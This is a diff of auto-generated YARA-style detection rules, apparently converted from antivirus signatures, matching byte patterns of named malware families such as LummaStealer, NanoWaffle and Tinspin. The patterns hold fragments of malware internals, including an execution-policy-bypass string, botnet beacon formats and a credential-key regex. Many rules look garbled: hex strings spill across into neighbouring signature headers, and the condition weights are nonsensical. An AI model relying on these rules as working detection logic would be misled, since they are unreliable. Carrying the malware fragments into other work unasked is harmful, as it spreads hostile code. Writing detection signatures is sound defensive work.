23 4f 46 4e 3a 70 6f 77 65 72 70 6e 74 2e 65 78 65 00 0a 00 4f 02 53 00 6f 00 66 00 74 00 77 00 61 00 72 00 65 00 5c 00 4d 00 69 00 63 00 } //0 - $a_00_5 = {73 00 6f 00 66 00 74 00 5c 00 4f 00 66 00 66 00 69 00 63 00 65 00 5c 00 90 02 0a 5c 00 50 00 6f 00 77 00 65 00 72 00 50 00 6f 00 69 00 6e 00 74 00 90 00 0a 00 0c 00 70 6f 77 65 72 70 6e 74 2e 70 64 62 0a 00 0a 00 70 70 63 6f 72 65 2e 64 6c 6c 00 00 78 8c 00 00 1e 00 1e 00 07 00 21 23 41 4c 46 50 45 52 3a 54 72 6f 6a 61 6e 3a 57 69 } //114 + $a_00_5 = {73 00 6f 00 66 00 74 00 5c 00 4f 00 66 00 66 00 69 00 63 00 65 00 5c 00 90 02 0a 5c 00 50 00 6f 00 77 00 65 00 72 00 50 00 6f 00 69 00 6e 00 74 00 90 00 0a 00 0c 00 70 6f 77 65 72 70 6e 74 2e 70 64 62 0a 00 0a 00 70 70 63 6f 72 65 2e 64 6c 6c 00 00 78 8c 00 00 19 00 19 00 02 00 21 23 54 45 4c 3a 54 72 6f 6a 61 6e 3a 57 69 6e 36 34 } //114 condition: ((#a_46_0 & 1)*16675+(#a_65_1 & 1)*25167+(#a_03_2 & 1)*-28632+(#a_73_4 & 1)*0+(#a_00_5 & 1)*114) >=15 } -rule _InfrastructureShared_9442{ +rule _InfrastructureShared_10034{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,14 00 14 00 02 00 21 " @@ -101541,19 +108018,29 @@ rule _InfrastructureShared_9442{ ((#a_46_0 & 1)*16675+(#a_16_1 & 1)*259) >=20 } -rule _InfrastructureShared_9443{ +rule _InfrastructureShared_10035{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,14 00 14 00 03 00 21 " strings : $a_4e_0 = {70 6f 77 65 72 70 6e 74 2e 65 78 65 00 0a 00 4f 02 53 00 6f 00 66 00 74 00 77 00 61 00 72 00 65 00 5c 00 4d 00 69 00 63 00 72 00 6f 00 73 00 6f 00 66 00 74 00 5c 00 4f 00 66 00 66 00 69 00 63 00 65 00 5c 00 90 } //20259 - $a_00_1 = {50 00 6f 00 77 00 65 00 72 00 50 00 6f 00 69 00 6e 00 74 00 90 00 0a 00 0c 00 70 6f 77 65 72 70 6e 74 2e 70 64 62 0a 00 0a 00 70 70 63 6f 72 65 2e 64 6c 6c 00 00 78 8c 00 00 1e 00 1e 00 07 00 21 23 41 4c 46 50 45 52 3a 54 72 6f 6a 61 6e 3a 57 69 6e 36 34 2f 46 72 6f 67 4d 69 } //2562 - $a_6f_2 = {2e 43 21 64 68 61 00 05 00 11 01 43 6f 6d 6d 61 6e 64 20 66 61 69 6c 65 64 20 3a 28 05 00 07 01 27 25 73 27 20 25 73 05 00 10 01 55 6e 6b 6e 6f 77 6e 20 43 6f 6d 6d 61 6e 64 2e 05 00 06 01 70 6c 75 67 69 6e 05 00 06 01 65 78 69 74 65 78 05 00 08 01 75 6e 69 73 74 61 6c 6c 05 00 04 01 7e 4d 48 7a 00 00 78 8c 00 00 } //29555 + $a_00_1 = {50 00 6f 00 77 00 65 00 72 00 50 00 6f 00 69 00 6e 00 74 00 90 00 0a 00 0c 00 70 6f 77 65 72 70 6e 74 2e 70 64 62 0a 00 0a 00 70 70 63 6f 72 65 2e 64 6c 6c 00 00 78 8c 00 00 19 00 19 00 02 00 21 23 54 45 4c 3a 54 72 6f 6a 61 6e 3a 57 69 6e 36 34 2f 4c 61 7a 79 2e 4c 4d 47 21 } //2562 + $a_00_2 = {0f 00 36 01 48 63 45 24 48 8b 8d 20 01 00 00 0f be 04 01 48 63 4d 04 48 8b 95 30 01 00 00 0f be 0c 0a 33 c1 48 63 4d 24 48 8b 95 20 01 00 00 88 04 0a 8b 45 04 ff c0 89 45 04 0a 00 26 01 8b 45 24 ff } //21581 condition: - ((#a_4e_0 & 1)*20259+(#a_00_1 & 1)*2562+(#a_6f_2 & 1)*29555) >=20 + ((#a_4e_0 & 1)*20259+(#a_00_1 & 1)*2562+(#a_00_2 & 1)*21581) >=20 } -rule _InfrastructureShared_9444{ +rule _InfrastructureShared_10036{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,19 00 19 00 02 00 21 " + + strings : + $a_4c_0 = {54 72 6f 6a 61 6e 3a 57 69 6e 36 34 2f 4c 61 7a 79 2e 4c 4d 47 21 4d 54 42 00 0f 00 36 01 48 63 45 24 48 8b 8d 20 01 00 00 0f be 04 01 48 63 4d 04 48 8b 95 30 01 00 00 0f be 0c 0a 33 c1 48 63 4d 24 48 8b 95 } //21539 + condition: + ((#a_4c_0 & 1)*21539) >=25 + +} +rule _InfrastructureShared_10037{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,1e 00 1e 00 07 00 21 " @@ -101567,7 +108054,7 @@ rule _InfrastructureShared_9444{ ((#a_46_0 & 1)*16675+(#a_6f_1 & 1)*8302+(#a_61_2 & 1)*28530+(#a_73_3 & 1)*25443+(#a_fe_5 & 1)*4397) >=30 } -rule _InfrastructureShared_9445{ +rule _InfrastructureShared_10038{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,ffffff90 01 ffffff90 01 04 00 21 " @@ -101580,7 +108067,7 @@ rule _InfrastructureShared_9445{ ((#a_46_0 & 1)*16675+(#a_73_1 & 1)*25443+(#a_01_2 & 1)*-28547+(#a_fe_3 & 1)*1024) >=400 } -rule _InfrastructureShared_9446{ +rule _InfrastructureShared_10039{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -101590,7 +108077,7 @@ rule _InfrastructureShared_9446{ ((#a_46_0 & 1)*16675) >=1 } -rule _InfrastructureShared_9447{ +rule _InfrastructureShared_10040{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -101600,7 +108087,7 @@ rule _InfrastructureShared_9447{ ((#a_46_0 & 1)*16675) >=1 } -rule _InfrastructureShared_9448{ +rule _InfrastructureShared_10041{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -101610,7 +108097,7 @@ rule _InfrastructureShared_9448{ ((#a_46_0 & 1)*16675) >=1 } -rule _InfrastructureShared_9449{ +rule _InfrastructureShared_10042{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -101620,7 +108107,7 @@ rule _InfrastructureShared_9449{ ((#a_46_0 & 1)*16675) >=1 } -rule _InfrastructureShared_9450{ +rule _InfrastructureShared_10043{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -101630,7 +108117,7 @@ rule _InfrastructureShared_9450{ ((#a_46_0 & 1)*16675) >=1 } -rule _InfrastructureShared_9451{ +rule _InfrastructureShared_10044{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -101640,7 +108127,7 @@ rule _InfrastructureShared_9451{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_9452{ +rule _InfrastructureShared_10045{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -101650,7 +108137,7 @@ rule _InfrastructureShared_9452{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_9453{ +rule _InfrastructureShared_10046{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -101660,7 +108147,7 @@ rule _InfrastructureShared_9453{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_9454{ +rule _InfrastructureShared_10047{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -101670,7 +108157,7 @@ rule _InfrastructureShared_9454{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_9455{ +rule _InfrastructureShared_10048{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -101680,7 +108167,7 @@ rule _InfrastructureShared_9455{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_9456{ +rule _InfrastructureShared_10049{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -101690,7 +108177,7 @@ rule _InfrastructureShared_9456{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_9457{ +rule _InfrastructureShared_10050{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -101700,7 +108187,7 @@ rule _InfrastructureShared_9457{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_9458{ +rule _InfrastructureShared_10051{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -101710,7 +108197,17 @@ rule _InfrastructureShared_9458{ ((#a_46_0 & 1)*21283) >=1 } -rule _InfrastructureShared_9459{ +rule _InfrastructureShared_10052{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " + + strings : + $a_46_0 = {54 72 6f 6a 61 6e 3a 57 69 6e 36 34 2f 4c 75 6d 6d 61 53 74 65 61 6c 65 72 2e 55 5a 21 4d 54 42 00 01 00 5a 03 0f b6 00 88 45 90 01 01 0f b6 45 90 01 01 30 45 90 01 01 48 8b 45 90 01 01 48 83 c0 90 01 01 48 89 45 90 01 02 48 8d } //21283 + condition: + ((#a_46_0 & 1)*21283) >=1 + +} +rule _InfrastructureShared_10053{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 02 00 21 " @@ -101721,7 +108218,7 @@ rule _InfrastructureShared_9459{ ((#a_46_0 & 1)*16675+(#a_34_1 & 1)*12852) >=1 } -rule _InfrastructureShared_9460{ +rule _InfrastructureShared_10054{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 02 00 21 " @@ -101732,7 +108229,7 @@ rule _InfrastructureShared_9460{ ((#a_46_0 & 1)*16675+(#a_33_1 & 1)*14391) >=1 } -rule _InfrastructureShared_9461{ +rule _InfrastructureShared_10055{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 02 00 21 " @@ -101743,7 +108240,7 @@ rule _InfrastructureShared_9461{ ((#a_46_0 & 1)*16675+(#a_36_1 & 1)*25139) >=1 } -rule _InfrastructureShared_9462{ +rule _InfrastructureShared_10056{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 02 00 21 " @@ -101753,7 +108250,7 @@ rule _InfrastructureShared_9462{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_9463{ +rule _InfrastructureShared_10057{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 02 00 21 " @@ -101764,7 +108261,7 @@ rule _InfrastructureShared_9463{ ((#a_54_0 & 1)*18467+(#a_6c_1 & 1)*26454) >=1 } -rule _InfrastructureShared_9464{ +rule _InfrastructureShared_10058{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 02 00 21 " @@ -101775,7 +108272,7 @@ rule _InfrastructureShared_9464{ ((#a_5f_0 & 1)*25635+(#a_73_1 & 1)*26469) >=1 } -rule _InfrastructureShared_9465{ +rule _InfrastructureShared_10059{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 04 00 21 " @@ -101788,7 +108285,7 @@ rule _InfrastructureShared_9465{ ((#a_54_0 & 1)*18467+(#a_49_1 & 1)*656+(#a_90_2 & 1)*-1278+(#a_74_3 & 1)*29289) >=1 } -rule _InfrastructureShared_9466{ +rule _InfrastructureShared_10060{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " @@ -101799,7 +108296,7 @@ rule _InfrastructureShared_9466{ ((#a_46_0 & 1)*16675+(#a_87_1 & 1)*17862) >=2 } -rule _InfrastructureShared_9467{ +rule _InfrastructureShared_10061{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " @@ -101810,7 +108307,7 @@ rule _InfrastructureShared_9467{ ((#a_46_0 & 1)*16675+(#a_6b_1 & 1)*29541) >=2 } -rule _InfrastructureShared_9468{ +rule _InfrastructureShared_10062{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " @@ -101821,7 +108318,7 @@ rule _InfrastructureShared_9468{ ((#a_46_0 & 1)*16675+(#a_65_1 & 1)*29285) >=2 } -rule _InfrastructureShared_9469{ +rule _InfrastructureShared_10063{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " @@ -101832,7 +108329,7 @@ rule _InfrastructureShared_9469{ ((#a_46_0 & 1)*16675+(#a_65_1 & 1)*30060) >=2 } -rule _InfrastructureShared_9470{ +rule _InfrastructureShared_10064{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " @@ -101843,7 +108340,7 @@ rule _InfrastructureShared_9470{ ((#a_46_0 & 1)*16675+(#a_34_1 & 1)*12579) >=2 } -rule _InfrastructureShared_9471{ +rule _InfrastructureShared_10065{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " @@ -101854,7 +108351,7 @@ rule _InfrastructureShared_9471{ ((#a_46_0 & 1)*16675+(#a_01_1 & 1)*-28603) >=2 } -rule _InfrastructureShared_9472{ +rule _InfrastructureShared_10066{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " @@ -101865,7 +108362,7 @@ rule _InfrastructureShared_9472{ ((#a_54_0 & 1)*18467+(#a_00_1 & 1)*10753) >=2 } -rule _InfrastructureShared_9473{ +rule _InfrastructureShared_10067{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " @@ -101875,7 +108372,7 @@ rule _InfrastructureShared_9473{ ((#a_54_0 & 1)*18467) >=2 } -rule _InfrastructureShared_9474{ +rule _InfrastructureShared_10068{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " @@ -101885,7 +108382,7 @@ rule _InfrastructureShared_9474{ ((#a_54_0 & 1)*18467) >=2 } -rule _InfrastructureShared_9475{ +rule _InfrastructureShared_10069{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " @@ -101896,7 +108393,7 @@ rule _InfrastructureShared_9475{ ((#a_46_0 & 1)*21283+(#a_10_1 & 1)*-31936) >=2 } -rule _InfrastructureShared_9476{ +rule _InfrastructureShared_10070{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " @@ -101907,7 +108404,7 @@ rule _InfrastructureShared_9476{ ((#a_6f_0 & 1)*21539+(#a_03_1 & 1)*-28667) >=2 } -rule _InfrastructureShared_9477{ +rule _InfrastructureShared_10071{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 03 00 21 " @@ -101919,7 +108416,7 @@ rule _InfrastructureShared_9477{ ((#a_46_0 & 1)*16675+(#a_03_1 & 1)*-28651+(#a_90_2 & 1)*21896) >=2 } -rule _InfrastructureShared_9478{ +rule _InfrastructureShared_10072{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 03 00 21 " @@ -101931,7 +108428,7 @@ rule _InfrastructureShared_9478{ ((#a_46_0 & 1)*16675+(#a_e9_1 & 1)*17807+(#a_40_2 & 1)*400) >=2 } -rule _InfrastructureShared_9479{ +rule _InfrastructureShared_10073{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 03 00 21 " @@ -101943,7 +108440,7 @@ rule _InfrastructureShared_9479{ ((#a_54_0 & 1)*18467+(#a_65_1 & 1)*25705+(#a_40_2 & 1)*400) >=2 } -rule _InfrastructureShared_9480{ +rule _InfrastructureShared_10074{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 03 00 21 " @@ -101954,20 +108451,33 @@ rule _InfrastructureShared_9480{ ((#a_54_0 & 1)*18467+(#a_40_2 & 1)*400) >=2 } -rule _InfrastructureShared_9481{ +rule _InfrastructureShared_10075{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 04 00 21 " strings : $a_46_0 = {54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 4c 6f 74 72 61 70 61 2e 41 21 64 68 61 00 01 00 11 03 55 c6 44 24 90 01 01 52 c6 44 24 90 01 01 4c 90 00 01 00 2d 01 8b 54 24 18 8a 04 31 81 e2 ff 00 00 00 8a 14 3a a2 80 96 40 00 02 d0 02 } //16675 - $a_24_1 = {8b 44 24 1c 25 ff 00 00 00 03 c6 8a 10 88 14 31 01 00 0d 01 63 4d 66 20 38 4f 66 20 37 4e 65 7c 36 01 00 09 01 46 61 63 65 4e 61 6d 65 31 00 00 78 8d 00 00 02 00 02 00 04 00 21 23 48 53 54 52 3a 50 68 61 6e 45 76 61 64 65 2e 78 36 34 21 50 53 68 65 6c 6c 00 01 00 19 03 83 c0 } //-30502 - $a_48_2 = {90 01 04 90 01 01 48 8b 90 01 04 90 01 01 ff d0 90 00 01 00 16 01 48 b8 75 74 69 6f 6e 70 6f 6c 48 ba 69 63 79 20 62 79 70 61 48 89 01 00 0a 01 48 b8 69 63 79 20 62 79 70 61 01 00 20 03 41 b9 40 00 00 00 41 b8 00 10 00 00 48 89 c2 b9 00 00 00 00 48 8b 90 01 04 90 01 01 ff d0 90 00 00 00 78 8d 00 00 02 00 02 00 06 00 21 23 4c 6f 77 66 69 3a 54 72 6f 6a 61 6e 3a 54 69 6e 73 70 69 6e 00 01 00 07 01 73 7a 47 61 74 65 00 01 00 0d 01 73 7a 55 70 64 61 74 65 50 69 70 65 00 01 00 0d 01 73 7a 42 6f 74 6e 65 74 4e 61 6d 65 00 01 00 0a 01 6c 70 73 7a 42 6f 74 49 44 00 01 00 16 01 64 6c } //-30462 - $a_73_3 = {3d 25 73 26 70 72 6f 63 6c 69 73 74 3d 25 73 01 00 15 01 26 6f 73 3d 25 73 26 63 72 63 62 6c 77 3d 25 30 38 78 26 25 73 00 00 78 8d 00 00 03 00 03 00 03 00 21 23 41 4c 46 3a 48 53 54 52 3a 42 61 63 6b 64 6f 6f 72 3a 57 69 6e 33 32 2f 47 61 6d 6c 6f 62 79 2e 42 21 62 69 74 00 01 00 20 01 43 3a 5c 24 4d 53 52 65 63 } //27756 + $a_24_1 = {8b 44 24 1c 25 ff 00 00 00 03 c6 8a 10 88 14 31 01 00 0d 01 63 4d 66 20 38 4f 66 20 37 4e 65 7c 36 01 00 09 01 46 61 63 65 4e 61 6d 65 31 00 00 78 8d 00 00 02 00 02 00 04 00 21 23 41 4c 46 3a 54 72 6f 6a 61 6e 3a 57 69 6e 36 34 2f 53 65 61 4c 65 76 65 72 2e 41 21 64 68 61 00 } //-30502 + $a_80_2 = {75 73 69 6e 67 20 31 64 61 79 20 70 6c 7a } //using 1day plz 1 + $a_80_3 = {6e 6f 74 20 73 75 70 70 6f 72 74 20 6e 6f 77 } //not support now 1 condition: - ((#a_46_0 & 1)*16675+(#a_24_1 & 1)*-30502+(#a_48_2 & 1)*-30462+(#a_73_3 & 1)*27756) >=2 + ((#a_46_0 & 1)*16675+(#a_24_1 & 1)*-30502+(#a_80_2 & 1)*1+(#a_80_3 & 1)*1) >=2 } -rule _InfrastructureShared_9482{ +rule _InfrastructureShared_10076{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 04 00 21 " + + strings : + $a_46_0 = {54 72 6f 6a 61 6e 3a 57 69 6e 36 34 2f 53 65 61 4c 65 76 65 72 2e 41 21 64 68 61 00 01 00 0e 80 01 75 73 69 6e 67 20 31 64 61 79 20 70 6c 7a 01 00 0f 80 01 6e 6f 74 20 73 75 70 70 6f 72 74 20 6e 6f 77 01 00 14 80 01 66 61 69 6c } //16675 + $a_61_1 = {20 72 65 61 64 20 77 72 69 74 65 01 00 1e 80 01 49 6e 61 70 70 72 6f 70 72 69 61 74 65 20 4f 70 65 72 61 74 69 6e 67 20 53 79 73 74 65 6d 00 00 78 8d 00 00 02 00 02 00 04 00 21 23 48 53 54 52 3a 50 68 61 6e 45 76 61 64 65 2e 78 36 34 21 50 53 68 65 6c 6c 00 01 00 19 03 83 c0 02 89 c2 48 8d 90 01 04 90 } //27680 + $a_8b_2 = {01 04 90 01 01 ff d0 90 00 01 00 16 01 48 b8 75 74 69 6f 6e 70 6f 6c 48 ba 69 63 79 20 62 79 70 61 48 89 01 00 0a 01 48 b8 69 63 79 20 62 79 70 61 01 00 20 03 41 b9 40 00 00 00 41 b8 00 10 00 00 48 89 c2 b9 00 00 00 } //257 + $a_90_3 = {04 90 01 01 ff d0 90 00 00 00 78 8d 00 00 02 00 02 00 06 00 21 23 4c 6f 77 66 69 3a 54 72 6f 6a 61 6e 3a 54 69 6e 73 70 69 6e 00 01 00 07 01 73 7a 47 61 74 65 00 01 00 0d 01 73 7a 55 70 64 61 74 65 50 69 70 65 00 01 00 0d 01 73 7a 42 6f 74 6e 65 74 4e 61 6d 65 00 01 00 0a 01 6c 70 73 7a 42 6f 74 49 44 00 01 00 16 01 64 6c 6c 6c 69 73 74 3d 25 73 26 70 72 6f 63 6c 69 73 74 3d 25 73 01 00 15 01 26 6f 73 3d 25 73 26 } //18432 + condition: + ((#a_46_0 & 1)*16675+(#a_61_1 & 1)*27680+(#a_8b_2 & 1)*257+(#a_90_3 & 1)*18432) >=2 + +} +rule _InfrastructureShared_10077{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 04 00 21 " @@ -101980,7 +108490,7 @@ rule _InfrastructureShared_9482{ ((#a_54_0 & 1)*18467+(#a_20_1 & 1)*25449+(#a_70_2 & 1)*266+(#a_00_3 & 1)*116) >=2 } -rule _InfrastructureShared_9483{ +rule _InfrastructureShared_10078{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 06 00 21 " @@ -101995,7 +108505,7 @@ rule _InfrastructureShared_9483{ ((#a_77_0 & 1)*19491+(#a_72_1 & 1)*9843+(#a_01_2 & 1)*1+(#a_01_3 & 1)*1+(#a_8d_4 & 1)*0+(#a_01_5 & 1)*1) >=2 } -rule _InfrastructureShared_9484{ +rule _InfrastructureShared_10079{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 21 " @@ -102006,18 +108516,41 @@ rule _InfrastructureShared_9484{ ((#a_46_0 & 1)*16675+(#a_74_1 & 1)*28005) >=3 } -rule _InfrastructureShared_9485{ +rule _InfrastructureShared_10080{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 21 " strings : $a_46_0 = {48 61 63 6b 54 6f 6f 6c 3a 57 69 6e 33 32 2f 4d 53 49 4c 4c 6f 61 64 65 72 2e 53 41 21 4d 54 42 00 01 00 1c 00 4c 6f 61 64 44 6f 74 4e 65 74 50 45 00 00 00 00 44 4f 54 4e 45 54 00 00 44 4c 4c 00 01 00 26 00 03 00 44 00 4c 00 4c } //16675 - $a_00_2 = {4e 00 45 00 54 00 06 00 44 00 4f 00 54 00 4e 00 45 00 54 00 4d 5a 01 00 10 01 4c 6f 61 64 44 6f 74 4e 65 74 50 45 2e 64 6c 6c 00 00 78 8d 00 00 03 00 03 00 03 00 21 23 41 4c 46 3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 46 61 72 65 69 74 2e 52 54 21 4d } //79 + $a_00_2 = {4e 00 45 00 54 00 06 00 44 00 4f 00 54 00 4e 00 45 00 54 00 4d 5a 01 00 10 01 4c 6f 61 64 44 6f 74 4e 65 74 50 45 2e 64 6c 6c 00 00 78 8d 00 00 03 00 03 00 03 00 21 23 41 4c 46 3a 48 61 63 6b 54 6f 6f 6c 3a 57 69 6e 36 34 2f 4e 61 6e 6f 57 61 66 66 6c } //79 condition: ((#a_46_0 & 1)*16675+(#a_00_2 & 1)*79) >=3 } -rule _InfrastructureShared_9486{ +rule _InfrastructureShared_10081{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 21 " + + strings : + $a_46_0 = {48 61 63 6b 54 6f 6f 6c 3a 57 69 6e 36 34 2f 4e 61 6e 6f 57 61 66 66 6c 65 2e 41 21 64 68 61 00 01 00 2e 01 4e 00 65 00 77 00 20 00 75 00 73 00 65 00 72 00 20 00 61 00 63 00 63 00 6f 00 75 00 6e 00 74 00 20 00 61 00 64 00 64 00 } //16675 + $a_00_1 = {3a 00 01 00 14 01 55 00 73 00 65 00 72 00 20 00 41 00 6c 00 65 00 72 00 74 00 01 00 11 01 44 65 74 65 63 74 4e 65 77 55 73 65 72 2e 70 64 62 00 00 78 8d 00 00 03 00 03 00 03 00 21 23 41 4c 46 3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 44 69 6e 67 79 50 72 69 6e 63 65 2e 42 21 64 68 61 00 01 00 2e 01 22 } //101 + condition: + ((#a_46_0 & 1)*16675+(#a_00_1 & 1)*101) >=3 + +} +rule _InfrastructureShared_10082{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 21 " + + strings : + $a_46_0 = {54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 44 69 6e 67 79 50 72 69 6e 63 65 2e 42 21 64 68 61 00 01 00 2e 01 22 00 65 00 6e 00 63 00 72 00 79 00 70 00 74 00 65 00 64 00 5f 00 6b 00 65 00 79 00 22 00 3a 00 22 00 28 00 2e 00 2a 00 3f 00 } //16675 + $a_00_1 = {01 00 16 01 43 52 4d 42 52 4f 2e 4d 6f 64 75 6c 65 73 2e 49 6d 70 6c 61 6e 74 01 00 11 01 5f 73 50 72 } //41 + $a_72_2 = {77 73 65 72 50 61 74 68 00 00 78 8d 00 00 03 00 03 00 03 00 21 23 41 4c 46 3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 46 61 72 65 69 74 2e 52 54 21 4d 54 42 00 01 00 28 81 01 70 31 45 4b 66 6e 63 70 } //30309 + condition: + ((#a_46_0 & 1)*16675+(#a_00_1 & 1)*41+(#a_72_2 & 1)*30309) >=3 + +} +rule _InfrastructureShared_10083{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 21 " @@ -102029,7 +108562,7 @@ rule _InfrastructureShared_9486{ ((#a_46_0 & 1)*16675+(#a_52_1 & 1)*27649+(#a_72_2 & 1)*25697) >=3 } -rule _InfrastructureShared_9487{ +rule _InfrastructureShared_10084{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 21 " @@ -102040,7 +108573,7 @@ rule _InfrastructureShared_9487{ ((#a_54_0 & 1)*18467+(#a_72_1 & 1)*28020) >=3 } -rule _InfrastructureShared_9488{ +rule _InfrastructureShared_10085{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 21 " @@ -102052,7 +108585,7 @@ rule _InfrastructureShared_9488{ ((#a_54_0 & 1)*18467+(#a_01_1 & 1)*25964+(#a_62_2 & 1)*25971) >=3 } -rule _InfrastructureShared_9489{ +rule _InfrastructureShared_10086{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 21 " @@ -102064,7 +108597,7 @@ rule _InfrastructureShared_9489{ ((#a_54_0 & 1)*18467+(#a_65_1 & 1)*25956+(#a_73_2 & 1)*28007) >=3 } -rule _InfrastructureShared_9490{ +rule _InfrastructureShared_10087{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 21 " @@ -102076,7 +108609,7 @@ rule _InfrastructureShared_9490{ ((#a_54_0 & 1)*18467+(#a_61_1 & 1)*28257+(#a_74_2 & 1)*30060) >=3 } -rule _InfrastructureShared_9491{ +rule _InfrastructureShared_10088{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 21 " @@ -102088,7 +108621,7 @@ rule _InfrastructureShared_9491{ ((#a_54_0 & 1)*18467+(#a_00_1 & 1)*25963+(#a_65_2 & 1)*385) >=3 } -rule _InfrastructureShared_9492{ +rule _InfrastructureShared_10089{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 21 " @@ -102100,7 +108633,7 @@ rule _InfrastructureShared_9492{ ((#a_54_0 & 1)*18467+(#a_64_1 & 1)*30313+(#a_02_2 & 1)*-28480) >=3 } -rule _InfrastructureShared_9493{ +rule _InfrastructureShared_10090{ meta: 